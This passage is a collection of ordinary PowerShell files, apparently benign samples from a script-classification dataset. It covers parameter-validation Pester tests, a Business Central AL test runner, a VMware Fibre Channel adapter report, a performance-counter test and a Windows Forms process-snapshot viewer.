1,2,3,4 } FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateCountMinMaxFailure" } ) } It 'Exception: <FullyQualifiedErrorId>:<InnerErrorId>' -TestCases $testCases { param($ScriptBlock, $FullyQualifiedErrorId, $InnerErrorId) $ScriptBlock | Should -Throw -ErrorId $FullyQualifiedErrorId if ($InnerErrorId) { $error[0].exception.innerexception.errorrecord.FullyQualifiedErrorId | Should -Be $InnerErrorId } } It 'No Exception: valid argument count' { { function foo { param([ValidateCount(2, 4)] [string[]] $bar) }; foo 1,2,3,4 } | Should -Not -Throw } } Context "ValidateRange - ParameterConstuctors" { BeforeAll { $testCases = @( @{ ScriptBlock = { function foo { param([ValidateRange('xPositive')] $bar) }; foo } FullyQualifiedErrorId = "ExceptionConstructingAttribute" InnerErrorId = "SubstringDisambiguationEnumParseThrewAnException" } @{ ScriptBlock = { function foo { param([ValidateRange(2,1)] [int] $bar) }; foo } FullyQualifiedErrorId = "MaxRangeSmallerThanMinRange" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateRange("one",10)] $bar) }; foo } FullyQualifiedErrorId = "MinRangeNotTheSameTypeOfMaxRange" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateRange(1,"two")] $bar) }; foo } FullyQualifiedErrorId = "MinRangeNotTheSameTypeOfMaxRange" InnerErrorId = "" } ) } It 'Exception: <FullyQualifiedErrorId>:<InnerErrorId>' -TestCases $testCases { param($ScriptBlock, $FullyQualifiedErrorId, $InnerErrorId) $ScriptBlock | Should -Throw -ErrorId $FullyQualifiedErrorId if ($InnerErrorId) { $error[0].exception.innerexception.errorrecord.FullyQualifiedErrorId | Should -Be $InnerErrorId } } } Context "ValidateRange - User Defined Range"{ BeforeAll { $testCases = @( @{ ScriptBlock = { function foo { param([ValidateRange(1,10)] [int] $bar) }; foo -1 } FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangeTooSmall" } @{ ScriptBlock = { function foo { param([ValidateRange(1,10)] [int] $bar) }; foo 11 } FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangeTooBig" } @{ ScriptBlock = { function foo { param([ValidateRange(1,10)] $bar) }; foo "one" } FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidationRangeElementType" } ) $validTestCases = @( @{ ScriptBlock = { function foo { param([ValidateRange(1,10)] [int] $bar) }; foo 5 } } ) } It 'Exception: <FullyQualifiedErrorId>:<InnerErrorId>' -TestCases $testCases { param($ScriptBlock, $FullyQualifiedErrorId, $InnerErrorId) $ScriptBlock | Should -Throw -ErrorId $FullyQualifiedErrorId if ($InnerErrorId) { $error[0].exception.innerexception.errorrecord.FullyQualifiedErrorId | Should -Be $InnerErrorId } } It 'No Exception: value within range' -TestCases $validTestCases { param($ScriptBlock) $ScriptBlock | Should -Not -Throw } } Context "ValidateRange - Predefined Range" { BeforeAll { $testCases = @( @{ ScriptBlock = { function foo { param([ValidateRange("Positive")] [int] $bar) }; foo -1 } RangeType = "Positive" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangePositiveFailure" } @{ ScriptBlock = { function foo { param([ValidateRange("Positive")] [int] $bar) }; foo 0 } RangeType = "Positive" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangePositiveFailure" } @{ ScriptBlock = { function foo { param([ValidateRange("Positive")] $bar) }; foo "one" } RangeType = "Positive" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateRange('NonNegative')] [int] $bar) }; foo -1 } RangeType = "NonNegative" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangeNonNegativeFailure" } @{ ScriptBlock = { function foo { param([ValidateRange('NonNegative')] $bar) }; foo "one" } RangeType = "NonNegative" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateRange('Negative')] [int] $bar) }; foo 1 } RangeType = "Negative" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangeNegativeFailure" } @{ ScriptBlock = { function foo { param([ValidateRange('Negative')] [int] $bar) }; foo 0 } RangeType = "Negative" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangeNegativeFailure" } @{ ScriptBlock = { function foo { param([ValidateRange('Negative')] $bar) }; foo "one" } RangeType = "Negative" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "" } @{ ScriptBlock = { function foo { param([ValidateRange('NonPositive')] $bar) }; foo 1 } RangeType = "NonPositive" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "ValidateRangeNonPositiveFailure" } @{ ScriptBlock = { function foo { param([ValidateRange('NonPositive')] $bar) }; foo "one" } RangeType = "NonPositive" FullyQualifiedErrorId = "ParameterArgumentValidationError,foo" InnerErrorId = "" } ) $validTestCases = @( @{ ScriptBlock = { function foo { param([ValidateRange("Positive")] [int] $bar) }; foo 15 } RangeType = "Positive" TestValue = 15 } @{ ScriptBlock = { function foo { param([ValidateRange("Positive")] [double]$bar) }; foo ([double]::MaxValue) }; RangeType = "Positive" TestValue = [double]::MaxValue } @{ ScriptBlock = { function foo { param([ValidateRange('NonNegative')] [int] $bar) }; foo 0 } RangeType = "NonNegative" TestValue = 0 } @{ ScriptBlock = { function foo { param([ValidateRange('NonNegative')] [int] $bar) }; foo 15 } RangeType = "NonNegative" TestValue = 15 } @{ ScriptBlock = { function foo { param([ValidateRange('NonNegative')] [double]$bar) }; foo ([double]::MaxValue) }; RangeType = "NonNegative" TestValue = [double]::MaxValue } @{ ScriptBlock = { function foo { param([ValidateRange('Negative')] [int] $bar) }; foo -15 } RangeType = "Negative" TestValue = -15 } @{ ScriptBlock = { function foo { param([ValidateRange('Negative')] [double]$bar) }; foo ([double]::MinValue) }; TestValue = [double]::MinValue RangeType = "Negative" } @{ ScriptBlock = { function foo { param([ValidateRange('NonPositive')] [int] $bar) }; foo 0 } RangeType = "NonPositive" TestValue = 0 } @{ ScriptBlock = { function foo { param([ValidateRange('NonPositive')] [int] $bar) }; foo -15 } RangeType = "NonPositive" TestValue = -15 } @{ ScriptBlock = { function foo { param([ValidateRange('NonPositive')] [double]$bar) }; foo ([double]::MinValue) } RangeType = "NonPositive" TestValue = [double]::MinValue } ) } It 'Exception: <FullyQualifiedErrorId>:<InnerErrorId>, RangeType: <RangeType>' -TestCases $testCases { param($ScriptBlock, $RangeType, $FullyQualifiedErrorId, $InnerErrorId) $ScriptBlock | Should -Throw -ErrorId $FullyQualifiedErrorId if ($InnerErrorId) { $error[0].exception.innerexception.errorrecord.FullyQualifiedErrorId | Should -Be $InnerErrorId } } It 'No Exception: RangeType: <RangeType> - argument "<TestValue>"' -TestCases $validTestCases { param($ScriptBlock, $RangeType, $testValue) $ScriptBlock | Should -Not -Throw } } Context "ValidateNotNull, ValidateNotNullOrEmpty and Not-Null-Or-Empty check for Mandatory parameter" { BeforeAll { function MandatoryFunc { param( [Parameter(Mandatory, ParameterSetName = "ByteArray")] [byte[]] $ByteArray, [Parameter(Mandatory, ParameterSetName = "ByteList")] [System.Collections.Generic.List[byte]] $ByteList, [Parameter(Mandatory, ParameterSetName = "ByteCollection")] [System.Collections.ObjectModel.Collection[byte]] $ByteCollection, [Parameter(ParameterSetName = "Default")] $Value ) } function NotNullFunc { param( [ValidateNotNull()] $Value, [string] $TestType ) switch ($TestType) { "COM-Enumerable" { $Value | ForEach-Object Name } "Enumerator" { $items = foreach ($i in $Value) { $i } $items -join "," } } } function NotNullOrEmptyFunc { param( [ValidateNotNullOrEmpty()] $Value, [string] $TestType ) switch ($TestType) { "COM-Enumerable" { $Value | ForEach-Object Name } "Enumerator" { $items = foreach ($i in $Value) { $i } $items -join "," } } } $filePath = Join-Path -Path $PSHOME -ChildPath System.Management.Automation.dll $byteArray = [System.IO.File]::ReadAllBytes($filePath) $byteList = [System.Collections.Generic.List[byte]] $byteArray $byteCollection = [System.Collections.ObjectModel.Collection[byte]] $byteArray $baseline = (Measure-Command { MandatoryFunc -Value $byteArray }).Milliseconds $UpperBoundTime = $baseline + 200 if ($IsWindows) { $null = New-Item -Path $TESTDRIVE/file1 } $testCases = @( @{ ScriptBlock = { MandatoryFunc -ByteArray $byteArray } } @{ ScriptBlock = { MandatoryFunc -ByteList $byteList } } @{ ScriptBlock = { MandatoryFunc -ByteCollection $byteCollection } } @{ ScriptBlock = { NotNullFunc -Value $byteArray } } @{ ScriptBlock = { NotNullFunc -Value $byteList } } @{ ScriptBlock = { NotNullFunc -Value $byteCollection } } @{ ScriptBlock = { NotNullOrEmptyFunc -Value $byteArray } } @{ ScriptBlock = { NotNullOrEmptyFunc -Value $byteList } } @{ ScriptBlock = { NotNullOrEmptyFunc -Value $byteCollection } } ) } It "Validate running time '<ScriptBlock>'" -TestCases $testCases { param ($ScriptBlock) (Measure-Command $ScriptBlock).Milliseconds | Should -BeLessThan $UpperBoundTime } It "COM enumerable argument should work with 'ValidateNotNull' and 'ValidateNotNullOrEmpty'" -Skip:(!$IsWindows) { $shell = New-Object -ComObject "Shell.Application" $folder = $shell.Namespace("$TESTDRIVE") $items = $folder.Items() NotNullFunc -Value $items -TestType "COM-Enumerable" | Should -Be "file1" NotNullOrEmptyFunc -Value $items -TestType "COM-Enumerable" | Should -Be "file1" } It "Enumerator argument should work with 'ValidateNotNull' and 'ValidateNotNullOrEmpty'" { $data = @(1,2,3) NotNullFunc -Value $data.GetEnumerator() -TestType "Enumerator" | Should -Be "1,2,3" NotNullOrEmptyFunc -Value $data.GetEnumerator() -TestType "Enumerator" | Should -Be "1,2,3" } It "'ValidateNotNull' should throw on null element of a collection argument" { { NotNullFunc -Value @("string", $null, 2) } | Should -Throw -ErrorId "ParameterArgumentValidationError,NotNullFunc" { NotNullFunc -Value @("string", "", 2) } | Should -Not -Throw { NotNullFunc -Value @() } | Should -Not -Throw } It "'ValidateNotNullOrEmpty' should throw on null element of a collection argument or empty collection/dictionary" { { NotNullOrEmptyFunc -Value @("string", $null, 2) } | Should -Throw -ErrorId "ParameterArgumentValidationError,NotNullOrEmptyFunc" { NotNullOrEmptyFunc -Value @("string", "", 2) } | Should -Throw -ErrorId "ParameterArgumentValidationError,NotNullOrEmptyFunc" { NotNullOrEmptyFunc -Value @() } | Should -Throw -ErrorId "ParameterArgumentValidationError,NotNullOrEmptyFunc" { NotNullOrEmptyFunc -Value @{} } | Should -Throw -ErrorId "ParameterArgumentValidationError,NotNullOrEmptyFunc" } It "Mandatory parameter should throw on empty collection" { { MandatoryFunc -ByteArray ([byte[]]@()) } | Should -Throw -ErrorId "ParameterArgumentValidationErrorEmptyArrayNotAllowed,MandatoryFunc" { MandatoryFunc -ByteList ([System.Collections.Generic.List[byte]]@()) } | Should -Throw -ErrorId "ParameterArgumentValidationErrorEmptyCollectionNotAllowed,MandatoryFunc" { MandatoryFunc -ByteList ([System.Collections.ObjectModel.Collection[byte]]@()) } | Should -Throw -ErrorId "ParameterArgumentValidationErrorEmptyCollectionNotAllowed,MandatoryFunc" } } }
combined_dataset/train/non-malicious/sample_55_88.ps1
sample_55_88.ps1
function Invoke-ALTestRunner { Param( [Parameter(Mandatory=$false)] [ValidateSet('All','Codeunit','Test')] [string]$Tests = 'All', [Parameter(Mandatory=$false)] [string]$FileName = '', [Parameter(Mandatory=$false)] [int]$SelectionStart = 0, [Parameter(Mandatory=$false)] [string]$ExtensionId, [Parameter(Mandatory=$false)] [string]$ExtensionName, [Parameter(Mandatory = $false)] [switch]$GetCodeCoverage, [Parameter(Mandatory = $false)] $DisabledTests, [Parameter(Mandatory = $false)] $LaunchConfig, [switch]$GetPerformanceProfile ) throw "TODO: This script requires BcContainerHelper!" Import-ContainerHelper Get-ServiceUrl -Method 'Get-PerformanceProfile' -LaunchConfig $LaunchConfig | Out-Null $ContainerName = Get-ContainerName -LaunchConfig $LaunchConfig if (!(Get-ContainerIsRunning $ContainerName)) { throw "Container $ContainerName is not running. Please start the container and retry. Please note that container names are case-sensitive." } $CompanyName = Get-ValueFromALTestRunnerConfig -KeyName 'companyName' if ($CompanyName -eq '') { $CompanyName = Select-BCCompany $ContainerName } $TestSuiteName = (Get-ValueFromALTestRunnerConfig -KeyName 'testSuiteName') if (($null -eq $TestSuiteName) -or ($TestSuiteName -eq '')) { [string]$NavVersionString = Invoke-CommandOnDockerHost {Param($ContainerName) Get-BCContainerNavVersion -containerOrImageName $ContainerName} -Parameters $ContainerName if ($NavVersionString.IndexOf('-') -gt 0) { $NavVersionString = $NavVersionString.Substring(0,$NavVersionString.IndexOf('-')) } [version]$NavVersion = [version]::new() if ([version]::TryParse($NavVersionString, [ref]$NavVersion)) { if ($NavVersion -lt [version]::new('15.0.0.0')) { $TestSuiteName = Select-BCTestSuite Set-ALTestRunnerConfigValue -KeyName 'testSuiteName' -KeyValue $TestSuiteName } } } $Params = @{ ContainerName = $ContainerName CompanyName = $CompanyName ExtensionId = $ExtensionId TestSuiteName = $TestSuiteName ExtensionName = $ExtensionName GetCodeCoverage = $GetCodeCoverage LaunchConfig = $LaunchConfig GetPerformanceProfile = $GetPerformanceProfile } $Tenant = Get-TenantFromLaunchJson -LaunchConfig $LaunchConfig if ($Tenant) { $Params.Add('Tenant', $Tenant) } if ($FileName -ne '') { if (Get-FileIsTestCodeunit -FileName $FileName) { $Params.Add('TestCodeunit', (Get-ObjectIdFromFile $FileName)) } else { throw "$FileName is not an AL test codeunit" } } if ($SelectionStart -ne 0) { $TestName = Get-TestNameFromSelectionStart -Path $FileName -SelectionStart $SelectionStart if ($TestName -eq '') { throw "Please place the cursor within the test method that you want to run and try again." } else { $Params.Add('TestFunction', $TestName) } } if ((Get-ValueFromLaunchJson -KeyName 'authentication' -LaunchConfig $LaunchConfig) -eq 'UserPassword') { $Credential = Get-ALTestRunnerCredential -LaunchConfig $LaunchConfig $Params.Add('Credential', $Credential) } if ($NavVersion -lt [version]::new('15.0.0.0')) { $Params.Add('TestRunnerCodeunitId', 0) } elseif ((Get-ValueFromALTestRunnerConfig -KeyName 'testRunnerCodeunitId') -gt 0) { $Params.Add('TestRunnerCodeunitId', (Get-ValueFromALTestRunnerConfig -KeyName 'testRunnerCodeunitId')) } if ($null -ne $DisabledTests) { $Params.Add('DisabledTests', $DisabledTests) } if ($null -ne (Get-ValueFromALTestRunnerConfig -KeyName 'culture')) { $Params.Add('Culture', (Get-ValueFromALTestRunnerConfig -KeyName 'culture')) } Invoke-RunTests @Params } Export-ModuleMember -Function Invoke-ALTestRunner
combined_dataset/train/non-malicious/Get-VMStorageAdapters.ps1
Get-VMStorageAdapters.ps1
<# .SYNOPSIS Reports on Fibre Channel Adapters in the ESX hosts for a vCenter environment. .DESCRIPTION This script iterates through each Datacenter,Cluster, and Host in a vCenter environment and then lists the Fibre Channel HBAs that are present. .LINK .EXAMPLE PS> Get-VMStorageAdapters.ps1 -FileName hba.txt This example runs the script and directs output to be saved to hba.txt in addition to the console. .PARAMETER Server Connect to the specified vCenter server for the environment you wish to collect information from. .PARAMETER Credential Credential to connect to the vCenter server. If no credentials are specified script will prompt for them. .PARAMETER FileName Name of text file to save script output in addition to the console .NOTES Name: Get-VMStorageAdapters Author: Mark E. Schill Date Created: 10/01/2009 Date Revised: 10/01/2009 Version: 1.0 History: 1.0 10/01/2009 - Initial Revision #requires –Version 2.0 #requires -PsSnapIn VMware.VimAutomation.Core -Version 2 #> [CmdletBinding()] param( [Parameter(Position=1,Mandatory=$false)] [Alias("VIServer")] $Server , [Parameter(Position=2,Mandatory=$false)] [Alias("PSCredential")] [System.Management.Automation.PSCredential]$Credential , [Parameter(Position=3,Mandatory=$False)] $FileName ) Begin { # Were credentials specified? If not then prompt for them. if(!$Credential) { $Credential = Get-Credential } # Are we outputing to file? If so then set filename and create. if ($FileName) { $ScriptPath = Split-Path $MyInvocation.MyCommand.Definition -Parent $FileName = "$ScriptPath\\$FileName" Set-Content -Path $FileName -Value "" -force } #Connect to vCenter Server Connect-VIServer -Server $VIServer -Credential $Credential #Iterate Datacenters Get-Datacenter | % { Write-Host $([string]::Format( "{0}",$_.Name)) -ForegroundColor Cyan if ($FileName) {Add-Content -Path $FileName -Value $([string]::Format( "{0}",$_.Name))} #Iterate Clusters Get-Cluster -Location $_ | % { Write-Host $([string]::Format( "`t{0}",$_.Name)) -ForegroundColor Cyan if ($FileName) {Add-Content -Path $FileName -Value $([string]::Format( "`t{0}",$_.Name))} #Iterate ESX Hosts Get-VMHost -Location $_ | % { Write-Host $([string]::Format( "`t`t{0}",$_.Name)) -ForegroundColor Cyan if ($FileName) {Add-Content -Path $FileName -Value $([string]::Format( "`t`t{0}",$_.Name))} #Iterate through storage adapters on server and filter out Fibre Channel Adapters. $StorageView = Get-VMHostStorage -VMHost $_ | Get-View $StorageAdapter = $StorageView.StorageDeviceInfo.HostBusAdapter $StorageAdapter | % { if ( $_.key -match "FibreChannelHba" ) { # Output the Device Name and Port and Node WWNs respectively. Write-Host $([string]::Format("`t`t`t{0} {1:X} {2:X}",$_.Device, $_.PortWorldWideName, $_.NodeWorldWideName)) -ForegroundColor Yellow if ($FileName) {Add-Content -Path $FileName -Value $([string]::Format("`t`t`t{0} {1:X} {2:X}",$_.Device, $_.PortWorldWideName, $_.NodeWorldWideName))} } } } } } } Process { } End { }
combined_dataset/train/non-malicious/1130.ps1
1130.ps1
function Start-TestFixture { & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) } function Test-ShouldGetPerformanceCounters { $categories = [Diagnostics.PerformanceCounterCategory]::GetCategories() foreach( $category in $categories ) { $countersExpected = @( $category.GetCounters("") ) $countersActual = @( Get-PerformanceCounter -CategoryName $category.CategoryName ) Assert-Equal $countersExpected.Length $countersActual.Length } } function Test-ShouldGetNoPerformanceCountersForNonExistentCategory { $counters = Get-PerformanceCounter -CategoryName 'IDoNotExist' Assert-Null $counters }
combined_dataset/train/non-malicious/ProcessSnapshot.ps1
ProcessSnapshot.ps1
function Get-ProcessList { #snapshot time $now = Get-Date -f 'HH:mm:ss' #building list [int]$hndl = 0 $script:ret = @() ps | % -b {$arr = @()} -p { $str = "" | select Name, StartTime, PID, PM, WS, Desc, Publ $str.Name = $_.ProcessName $str.StartTime = $(try { $_.StartTime} catch { return [DateTime]::MinValue }) $str.PID = $_.Id $str.PM = $_.PrivateMemorySize64 $str.WS = $_.WorkingSet64 $str.Desc = $_.Description $str.Publ = $_.Company $arr += $str; $hndl += $_.Handles } -end { $arr | sort StartTime | % { try { $dgvView.Rows.Add($_.Name, $_.PID, ($_.PM / 1Kb), ($_.WS / 1Kb), $_.Desc, $_.Publ) $script:ret += $_.PID } catch {} } } #counting processes $sbPnl_1.Text = "Processes: " + $script:ret.Count #counting NET processes $net = @($clr.GetInstanceNames() | ? {$_ -ne "_Global_"} | % {ps -ea 0 $_}).Count $sbPnl_2.Text = ".NET Processes: " + $net #total handles $sbPnl_3.Text = "Handles: " + $hndl #current snapshot $sbPnl_4.Text = "Snap at: " + $now } $mnuSUpd_Click= { $dgvView.Rows.Clear() Get-ProcessList } $mnuFont_Click= { (New-Object Windows.Forms.FontDialog) | % { $_.MaxSize = 11 $_.ShowEffects = $false if ($_.ShowDialog() -eq [Windows.Forms.DialogResult]::OK) { $dgvView.Font = $_.Font $lstView.Font = $_.Font } } } $mnuPane_Click= { switch ([bool]$mnuPane.Checked) { $true { $mnuPane.Checked = $false; $scSplit.Panel2Collapsed = $true; break; } $false { $mnuPane.Checked = $true; $scSplit.Panel2Collapsed = $false; break; } } } $mnuSBar_Click= { [bool]$toggle =! $mnuSBar.Checked $mnuSBar.Checked = $toggle $sbStats.Visible = $toggle } $dgvView_Click= { $lstView.Items.Clear() $row = $dgvView.CurrentCell.RowIndex try { (ps | ? {$_.Id -eq $script:ret[$row]}).Modules | % { $itm = $lstView.Items.Add($_.ModuleName) $itm.SubItems.Add($_.Size) $itm.SubItems.Add($_.Description) $itm.SubItems.Add($_.Company) $itm.SubItems.Add($_.FileName) $itm.SubItems.Add($('0x{0:X}' -f [int]$_.BaseAddress)) $itm.SubItems.Add($_.ProductVersion) } } catch {} #last selected update $sbPnl_5.Text = "Last selected (PID): " + $script:ret[$row] } $frmMain_Load= { Get-ProcessList $sbPnl_5.Text = "Last selected (PID): <none>" } function frmMain_Show { Add-Type -AssemblyName System.Windows.Forms [Windows.Forms.Application]::EnableVisualStyles() $clr = New-Object Diagnostics.PerformanceCounterCategory(".NET CLR Memory") $usr = [Security.Principal.WindowsIdentity]::GetCurrent() $frmMain = New-Object Windows.Forms.Form $mnuMain = New-Object Windows.Forms.MainMenu $mnuFile = New-Object Windows.Forms.MenuItem $mnuSUpd = New-Object Windows.Forms.MenuItem $mnuEmp1 = New-Object Windows.Forms.MenuItem $mnuExit = New-Object Windows.Forms.MenuItem $mnuView = New-Object Windows.Forms.MenuItem $mnuFont = New-Object Windows.Forms.MenuItem $mnuEmp2 = New-Object Windows.Forms.MenuItem $mnuPane = New-Object Windows.Forms.MenuItem $mnuSBar = New-Object Windows.Forms.MenuItem $mnuTool = New-Object Windows.Forms.MenuItem $mnuFind = New-Object Windows.Forms.MenuItem $mnuAsms = New-Object Windows.Forms.MenuItem $mnuHelp = New-Object Windows.Forms.MenuItem $mnuInfo = New-Object Windows.Forms.MenuItem $scSplit = New-Object Windows.Forms.SplitContainer $dgvView = New-Object Windows.Forms.DataGridView $lstView = New-Object Windows.Forms.ListView $chView1 = New-Object Windows.Forms.ColumnHeader $chView2 = New-Object Windows.Forms.ColumnHeader $chView3 = New-Object Windows.Forms.ColumnHeader $chView4 = New-Object Windows.Forms.ColumnHeader $chView5 = New-Object Windows.Forms.ColumnHeader $chView6 = New-Object Windows.Forms.ColumnHeader $chView7 = New-Object Windows.Forms.ColumnHeader $sbStats = New-Object Windows.Forms.StatusBar $sbPnl_1 = New-Object Windows.Forms.StatusBarPanel $sbPnl_2 = New-Object Windows.Forms.StatusBarPanel $sbPnl_3 = New-Object Windows.Forms.StatusBarPanel $sbPnl_4 = New-Object Windows.Forms.StatusBarPanel $sbPnl_5 = New-Object Windows.Forms.StatusBarPanel # #mnuMain # $mnuMain.MenuItems.AddRange(@($mnuFile, $mnuView, $mnuTool, $mnuHelp)) # #mnuFile # $mnuFile.MenuItems.AddRange(@($mnuSUpd, $mnuEmp1, $mnuExit)) $mnuFile.Text = "&File" # #mnuSUpd # $mnuSUpd.Shortcut = "F5" $mnuSUpd.Text = "&Refresh Now" $mnuSUpd.Add_Click($mnuSUpd_Click) # #mnuEmp1 # $mnuEmp1.Text = "-" # #mnuExit # $mnuExit.Shortcut = "CtrlX" $mnuExit.Text = "E&xit" $mnuExit.Add_Click({$frmMain.Close()}) # #mnuView # $mnuView.MenuItems.AddRange(@($mnuFont, $mnuEmp2, $mnuPane, $mnuSBar)) $mnuView.Text = "&View" # #mnuFont # $mnuFont.Text = "&Font..." $mnuFont.Add_Click($mnuFont_Click) # #mnuEmp2 # $mnuEmp2.Text = "-" # #mnuPane # $mnuPane.Shortcut = "CtrlD" $mnuPane.Text = "&DLLs Lower Pane" $mnuPane.Add_Click($mnuPane_Click) # #mnuSBar # $mnuSbar.Checked = $true $mnuSBar.Shortcut = "CtrlB" $mnuSBar.Text = "Toggle Status &Bar" $mnuSBar.Add_Click($mnuSBar_Click) # #mnuTool # $mnuTool.MenuItems.AddRange(@($mnuFind, $mnuAsms)) $mnuTool.Text = "&Tools" # #mnuFind # $mnuFind.Shortcut = "CtrlF" $mnuFind.Text = "&Find DLL..." $mnuFind.Add_Click({frmFind_Show}) # #mnuAsms # $mnuAsms.Text = "&Loaded Assemblies" $mnuAsms.Add_Click({frmAsms_Show}) # #mnuHelp # $mnuHelp.MenuItems.AddRange(@($mnuInfo)) $mnuHelp.Text = "&Help" # #mnuInfo # $mnuInfo.Text = "About..." $mnuInfo.Add_Click({frmInfo_Show}) # #scSplit # $scSplit.Dock = "Fill" $scSplit.Orientation = "Horizontal" $scSplit.Panel1.Controls.Add($dgvView) $scSplit.Panel2.Controls.Add($lstView) $scSplit.Panel2Collapsed = $true # #dgvView # $dgvView.AutoSizeColumnsMode = "AllCells" $dgvView.ColumnCount = 6 $dgvView.Columns[0].Name = "Process" $dgvView.Columns[1].Name = "PID" $dgvView.Columns[2].Name = "Private Bytes (K)" $dgvView.Columns[3].Name = "Working Set (K)" $dgvView.Columns[4].Name = "Description" $dgvView.Columns[5].Name = "Company Name" #$dgvView.ColumnHeadersHeightSizeMode = "AutoSize" $dgvView.Dock = "Fill" $dgvView.MultiSelect = $false $dgvView.Add_Click($dgvView_Click) # #lstView # $lstView.AllowColumnReorder = $true $lstView.Columns.AddRange(@($chView1, $chView2, $chView3, ` $chView4, $chView5, $chView6, $chView7)) $lstView.Dock = "Fill" $lstView.FullRowSelect = $true $lstView.ShowItemToolTips = $true $lstView.Sorting = "Ascending" $lstView.View = "Details" # #chView1 # $chView1.Text = "Name" $chView1.Width = 90 # #chView2 # $chView2.Text = "Size" $chView2.TextAlign = "Right" $chView2.Width = 50 # #chView3 # $chView3.Text = "Description" $chView3.Width = 190 # #chView4 # $chView4.Text = "Company Name" $chView4.Width = 150 # #chView5 # $chView5.Text = "Path" $chView5.Width = 289 # #chView6 # $chView6.Text = "Base" $chView6.TextAlign = "Right" $chView6.Width = 90 # #chView7 # $chView7.Text = "Version" $chView7.Width = 100 # #sbStats # $sbStats.Panels.AddRange(@($sbPnl_1, $sbPnl_2, $sbPnl_3, $sbPnl_4, $sbPnl_5)) $sbStats.ShowPanels = $true $sbStats.SizingGrip = $false # #sbPnl_1 # $sbPnl_1.AutoSize = "Contents" # #sbPnl_2 # $sbPnl_2.AutoSize = "Contents" # #sbPnl_3 # $sbPnl_3.AutoSize = "Contents" # #sbPnl_4 # $sbPnl_4.AutoSize = "Contents" # #sbPnl_5 # $sbPnl_5.AutoSize = "Contents" # #frmMain # $frmMain.ClientSize = New-Object Drawing.Size(790, 550) $frmMain.Controls.AddRange(@($scSplit, $sbStats)) $frmMain.FormBorderStyle = "FixedSingle" $frmMain.MaximizeBox = $false $frmMain.Menu = $mnuMain $frmMain.StartPosition = "CenterScreen" $frmMain.Text = "Process Snapshot [" + $usr.Name + "]" $frmMain.Add_Load($frmMain_Load) [void]$frmMain.ShowDialog() } ################################################################################################# $btnFind_Click= { $lstFind.Items.Clear() if ($txtFind.Text -ne "") { #checking items in current snapshot only $script:ret | % { foreach ($p in (ps -id $_)) { foreach ($m in $p.Modules) { if ($m.ModuleName -match $txtFind.Text) { $itm = $lstFind.Items.Add($p.Name) $itm.SubItems.Add($p.Id) $itm.SubItems.Add($m.FileName) } } } } } } function frmFind_Show { $frmFind = New-Object Windows.Forms.Form $txtFind = New-Object Windows.Forms.TextBox $btnFind = New-Object Windows.Forms.Button $lstFind = New-Object Windows.Forms.ListView $chFind1 = New-Object Windows.Forms.ColumnHeader $chFind2 = New-Object Windows.Forms.ColumnHeader $chFind3 = New-Object Windows.Forms.ColumnHeader # #txtFind # $txtFind.Location = New-Object Drawing.Point(13, 13) $txtFind.Width = 341 # #btnFind # $btnFind.Location = New-Object Drawing.Point(361, 12) $btnFind.Text = "Search" $btnFind.Add_Click($btnFind_Click) # #lstFind # $lstFind.Columns.AddRange(@($chFind1, $chFind2, $chFind3)) $lstFind.FullRowSelect = $false $lstFind.Location = New-Object Drawing.Point(13, 43) $lstFind.MultiSelect = $false $lstFind.Size = New-Object Drawing.Size(421, 190) $lstFind.ShowItemToolTips = $true $lstFind.View = "Details" # #chFind1 # $chFind1.Text = "Process" $chFind1.Width = 107 # #chFind2 # $chFind2.Text = "PID" $chFind2.Width = 45 # #chFind3 # $chFind3.Text = "Name" $chFind3.Width = 230 # #frmFind # $frmFind.ClientSize = New-Object Drawing.Size(447, 255) $frmFind.Controls.AddRange(@($txtFind, $btnFind, $lstFind)) $frmFind.FormBorderStyle = "FixedSingle" $frmFind.MaximizeBox = $false $frmFind.MinimizeBox = $false $frmFind.Text = "Process Snapshot Search" $frmFind.ShowInTaskbar = $false $frmFind.StartPosition = "CenterParent" [void]$frmFind.ShowDialog() } ################################################################################################# $empty = "<none>" function Get-AssembliesTree { $dom = [AppDomain]::CurrentDomain $tvAssem.Nodes.Clear() $dom.GetAssemblies() | % { $nod = New-Object Windows.Forms.TreeNode $nod.Text = $_.GetName().Name $nod.Tag = $_ $tvAssem.Nodes.Add($nod) $nod.Nodes.Add($empty) } } $tvAssem_BeforeExpand= { $_.Node.Nodes.Clear() foreach ($t in $_.Node.Tag.GetTypes()) { if ($t.IsPublic) { $new = $_.Node.Nodes.Add($t.FullName) $new.Tag = $t } } } $tvAssem_BeforeSelect= { $lstView.Items.Clear() $sbStats.Text = $_.Node.Tag foreach ($p in $_.Node.Tag.PSObject.Properties) { $itm = $lstView.Items.Add($p.Name) if ($p.Value -ne $null) { $itm.Subitems.Add($p.Value.ToString()) switch ($p.Value) { $true {$itm.ForeColor = "Blue"; break;} $false {$itm.ForeColor = "Crimson"; break;} } } else { $itm.ForeColor = "Gray" $itm.SubItems.Add("<NULL>") } } } function frmAsms_Show { $frmAsms = New-Object Windows.Forms.Form $mnuMain = New-Object Windows.Forms.MainMenu $mnuFile = New-Object Windows.Forms.MenuItem $mnuExit = New-Object Windows.Forms.MenuItem $scSplit = New-Object Windows.Forms.SplitContainer $tvAssem = New-Object Windows.Forms.TreeView $lstView = New-Object Windows.Forms.ListView $chView1 = New-Object Windows.Forms.ColumnHeader $chView2 = New-Object Windows.Forms.ColumnHeader 